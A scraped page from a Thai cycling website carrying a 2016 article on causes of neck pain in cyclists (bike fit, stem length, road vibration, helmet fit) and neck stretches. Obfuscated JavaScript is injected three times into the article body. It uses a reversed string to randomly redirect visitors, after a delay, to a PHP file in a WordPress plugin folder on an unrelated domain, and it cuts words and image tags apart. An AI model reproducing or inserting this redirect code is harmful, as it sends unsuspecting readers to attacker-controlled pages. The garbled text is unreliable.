• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

3 วิธียืดกล้ามเนื้อคอ ลดอาการปวด สำหรับนักปั่น

stepextra by stepextra
26 September 2016
in Cycling Tips, Feature, Tips & Technics
0
3 วิธียืดกล้ามเนื้อคอ ลดอาการปวด สำหรับนักปั่น
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

3 วิธียืดกล้ามเนื้อคอ ลดอาการปวด สำหรับนักปั่น

ถ้าถามว่าอาการเจ็บคอของนักปั่นเกิดขึ้นจากอะไร…อย่างเเรกที่ควรสังเกตคือ การทำ Fitting จักรยานของเรา ตำเเหน่งของเบาะ (Saddle) และตำเเหล่งของแฮนด์ (Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar) ทั้งสองเป็นตัวเเปรสำคัญต่อการถ่ายน้ำหนักหรือ weight distribution การปรับเบาะที่ไม่เหมาะสมกับสรีระ สูงหรือต่ำไป เบาะชี้ขึ้นหรือชี้ลง จะทำให้ส่วนของ Upper body รับน้ำหนัก หรือก็คือเเขน อก ไหล่ คอ จะต้องรับภาระเเบกน้ำหนัก ต่อมาก็เป็น ความยาวของสเต็ม (Stem) ยิ่งยาวจะทำให้เราต้อง หมอบก้มต่ำลง ต้องยกคอเพื่อมองข้างหน้า ทำให้มีเเรงกดลงที่ต้นคอมากขึ้น นอกจากนี้ สเต็มที่ยาว ทำให้ drop bar ต่ำลงด้วย ต้องหมอบเเละยกคอเงยมากขึ้นไปอีก

$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar-reach-400×267.jpg” alt=”www.cyclingweekly.co.uk” width=”400″ height=”267″ /> www.cyclingweekly.co.uk

หรือสำหรับใครที่เซตจักรยานให้เป็นเเบบเน้น Aerodynamic มากไป ก็อาจจะเป็นสาเหตุให้มีอาการปวดเกิดขึ้นไป ถ้าเป็นอย่างนี้วิธีเเก้คือต้องทำ Re-fitting ใหม่อีกครั้ง

ต่อมาก็ว่าด้วยการรับเเรงสั่นสะเทือน หรือ Vibration จากตัวพื้นผิวถนนสู่จักรยานเเละสู่ร่างกาย เราที่มีความ Stiffness สูงๆ จะทำให้เกิดอาการปวดเมื่อยได้ง่าย ดั่งนั้นวิธีช่วยบรรเทาคือ การเลือกพัน Bar tape ใหม่อีกครั้ง เลือกเเบบที่หนานุ่ม มี cushion มากขึ้น จะช่วยลดเเรงสั่นได้…การเปลี่ยนขนาดล้อไปเป็น 25มิล ความดันลมในล้อเเละประเภทของล้อยางก็มีผลช่วยลดเเรงสั่นเช่นกัน

$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-stem1-600×324-400×216.jpg” alt=”www.bikerumor.com” width=”400″ height=”216″ /> www.bikerumor.com

ต่อมาก็เป็นอะไรที่เราไม่คาดถึงว่าจะทำให้เราปวดคอได้…นั้นคือ หมวกกันน็อก…หลวมไป ไม่กระชับ เลื่อนๆไปมา ใส่เเล้วบดบังวิสัยทัศน์ มีผลทั้งนั้น ยิ่งใครที่ชอบใส่หมวกทับ ระวังอย่าให้บังมุมมองข้างหน้า เพราะต้องเงยหน้ามากกว่าปกติ ทำให้เจ็บคอได้นะ

helmet1
ตัวอย่างเช่น ใครที่ใส่หมวกกันน็อกเเบบ เสือภูเขาที่มีการ์ดข้างหน้า ที่สามารถถอดติดไป ถ้ามันบังวิสัยทัศน์เวลามอง เราต้องเงยมากขึ้น ทำให้คอต้องรับเเรงกดมากขึ้นไปอีก

เอาละที่นี้พอเราทราบถึงสาเหตุกันเเล้ว เราลองมาดูวิธีคร่าวๆ ในการยืดกล้ามเนื้อคอเพื่อบรรเทาอาการเจ็บปวดกัน…จาก Global Cycling Network

ต่อมาก็เป็นท่าหมุนคอไปซ้ายขวา

ต่อด้วยการกดคางค้างไว้

ถ้าใครอยากดูตัวเต็ม เชิญชมคลิปข้างล่างเลยครับ

ShareTweetShare
stepextra

stepextra

Related Posts

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้
Gear News

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • ปั่นช้าๆ รอบขาต่ำ (Low cadence) มีประโยชน์มากกว่าที่คุณคิด

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2022 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.